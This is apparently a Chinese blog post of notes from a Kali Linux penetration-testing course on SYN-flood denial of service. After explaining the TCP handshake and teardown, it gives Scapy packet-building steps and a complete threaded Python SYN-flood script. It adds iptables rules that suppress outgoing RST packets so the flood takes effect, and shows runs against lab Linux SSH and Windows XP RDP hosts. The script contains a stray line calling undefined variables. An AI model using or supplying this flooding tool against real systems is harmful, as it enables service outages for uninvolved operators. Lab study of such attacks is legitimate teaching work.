Kali Linux渗透测试 125 拒绝服务--Syn-Flood攻击

本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程python

Kali Linux渗透测试(苑房弘)博客记录linux

1. 简介

  1. TCP 链接和端口过程web

    TCP 三次握手过程 版权声明windows

    TCP创建链接安全

    第一次握手:创建链接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号(Synchronize Sequence Numbers)。服务器

    第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时本身也发送一个SYN包(syn=k),即SYN+ACK包,此时服务器进入SYN_RECV状态;网络

    第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP链接成功)状态,完成三次握手。dom

    完成三次握手,客户端与服务器开始传送数据,在上述过程当中,还有一些重要的概念:ssh

    未链接队列
    在三次握手协议中,服务器维护一个未链接队列,该队列为每一个客户端的SYN包(syn=j)开设一个条目,该条目代表服务器已收到SYN包,并向客户发出确认,正在等待客户的确认包。这些条目所标识的链接在服务器处于SYN_RECV状态,当服务器收到客户的确认包时,删除该条目,服务器进入ESTABLISHED状态。tcp

    关闭TCP链接

    对于一个已经创建的链接,TCP使用改进的三次握手来释放链接(使用一个带有FIN附加标记的报文段)。TCP关闭链接的步骤以下:

    第一步,当主机A的应用程序通知TCP数据已经发送完毕时,TCP向主机B发送一个带有FIN附加标记的报文段(FIN表示英文finish)。

    第二步,主机B收到这个FIN报文段以后,并不当即用FIN报文段回复主机A,而是先向主机A发送一个确认序号ACK,同时通知本身相应的应用程序:对方要求关闭链接(先发送ACK的目的是为了防止在这段时间内,对方重传FIN报文段)。

    第三步,主机B的应用程序告诉TCP:我要完全的关闭链接,TCP向主机A送一个FIN报文段。

    第四步,主机A收到这个FIN报文段后,向主机B发送一个ACK表示链接完全释放。

  2. TCP 链接状态

  3. 两个序号和三个标志位:

    • 序号:seq序号,占32位,用来标识从TCP源端向目的端发送的字节流,发起方发送数据时对此进行标记。
    • 确认序号:ack序号,占32位,只有ACK标志位为1时,确认序号字段才有效,ack=seq+1。
    • 标志位:共6个,即URG、ACK、PSH、RST、SYN、FIN等,具体含义以下:

      • URG:紧急指针(urgent pointer)有效。
      • ACK:确认序号有效。
      • PSH:接收方应该尽快将这个报文交给应用层。
      • RST:重置链接。
      • SYN:发起一个新链接。
      • FIN:释放一个链接。
    • 须要注意的是:

      • 不要将确认序号ack与标志位中的ACK搞混了。
      • 确认方ack=发起方req+1,两端配对。

    在第一次消息发送中,A随机选取一个序列号做为本身的初始序号发送给B;第二次消息B使用ack对A的数据包进行确认,

    由于已经收到了序列号为x的数据包,准备接收序列号为x+1的包,因此ack=x+1,同时B告诉A本身的初始序列号,就是seq=y;

    第三条消息A告诉B收到了B的确认消息并准备创建链接,A本身此条消息的序列号是x+1,因此seq=x+1,而ack=y+1是表示A正准备接收B序列号为y+1的数据包。

  4. 四次挥手:

    因为TCP链接时全双工的,所以,每一个方向都必需要单独进行关闭,这一原则是当一方完成数据发送任务后,发送一个FIN来终止这一方向的链接,

    收到一个FIN只是意味着这一方向上没有数据流动了,即不会再收到数据了,可是在这个TCP链接上仍然可以发送数据,直到这一方向也发送了FIN。

    首先进行关闭的一方将执行主动关闭,而另外一方则执行被动关闭,上图描述的便是如此。

    (1)第一次挥手:Client发送一个FIN,用来关闭Client到Server的数据传送,Client进入FIN_WAIT_1状态。

    (2)第二次挥手:Server收到FIN后,发送一个ACK给Client,确认序号为收到序号+1(与SYN相同,一个FIN占用一个序号),Server进入CLOSE_WAIT状态。

    (3)第三次挥手:Server发送一个FIN,用来关闭Server到Client的数据传送,Server进入LAST_ACK状态。

    (4)第四次挥手:Client收到FIN后,Client进入TIME_WAIT状态,接着发送一个ACK给Server,确认序号为收到序号+1,Server进入CLOSED状态,完成四次挥手。

2. syn 洪水攻击

1. scapy 构造数据包

1. 构造 IP 数据包

>>> i=IP()
>>> i.display()

>>> i.dst="10.10.10.132"
>>> i.display()

2. 构造 TCP 数据包

>>> t=TCP()
>>> t.display()

>>> t.dport=22
>>> t.display()

3. 发送数据包须要构形成 IP()/TCP() 形式:i/t

>>> sr1(i/t,verbose=1,timeout=2)

4. 因为重建链接请求时会向服务器发送 reset 数据包重置链接请求,达不到攻击效果,则能够在本地设置防火墙规则:

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.10.10.132 -j DROP

iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.10.10.141 -j DROP

2. 脚本攻击

1. 脚本攻击 linux 服务器

  1. 脚本内容

    #!/usr/bin/python
    #coding=utf-8
    
    from scapy.all import*
    from time import sleep
    import thread
    import random
    import logging
    
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    
    if len(sys.argv) != 4:
        print "用法: ./syn_flood.py [IP地址] [端口] [线程数]"
        print "举例: ../syn_flood.py  1.1.1.1 80 20"
        sys.exit()
    
    target = str(sys.argv[1])
    port= int(sys.argv[2])
    threads = int(sys.argv[3])
    
    print"正在执行 SYN flood 攻击,按 Ctrl+C 中止攻击。"
    def synflood(target,port):
        while 1:
            x = random.randint(0,65535)
            send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
            sr1(i/t,verbose=1,timeout=2)
    
    for x in range(0,threads):
        thread.start_new_thread(synflood,(target,port))
    
    while 1:
      sleep(1)
  2. 执行脚本

    root@kali:~# python syn_flood.py 10.10.10.141 22 200
    # 因为重建链接请求时会向服务器发送 reset 数据包重置链接请求,达不到攻击效果,则能够在本地设置防火墙规则
    iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.10.10.132 -j DROP

    抓包发现网络上充满数据包

    使用 ssh 链接 服务器发现没法响应

    在服务器使用 top 查看内存占用状况,发现占用极少

    在服务器查看链接,发现链接数很是多

    查看 linux 服务器最大 TCP 链接数发现是 255 个
    netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'

2. 攻击 windows 机器

  1. 测试可用性

    root@kali:~# rdesktop 10.10.10.141

  2. 执行脚本

    root@kali:~# python syn_flood.py 10.10.10.141 3389 10
    # 因为重建链接请求时会向服务器发送 reset 数据包重置链接请求,达不到攻击效果,则能够在本地设置防火墙规则
    iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 10.10.10.141 -j DROP
    
    root@kali:~# rdesktop 10.10.10.141

    # winxp 的最大半开链接数只有 10 个

3. 泛洪攻击常伴随 IP 地址欺骗

伪造源地址为 3.3.3.3,访问许多网站,将响应数据包发送给 3.3.3.3

  • 常常用于 DoS 攻击
  • 根据 IP 头地址寻址

    • 伪造IP源地址
  • 便捷路由器过滤源IP

    • 入站、出站
  • 受害者多是源、目的地址

  • 绕过基于地址的验证
  • 压力测试模拟多用户
  • 上层协议(TCP序列号)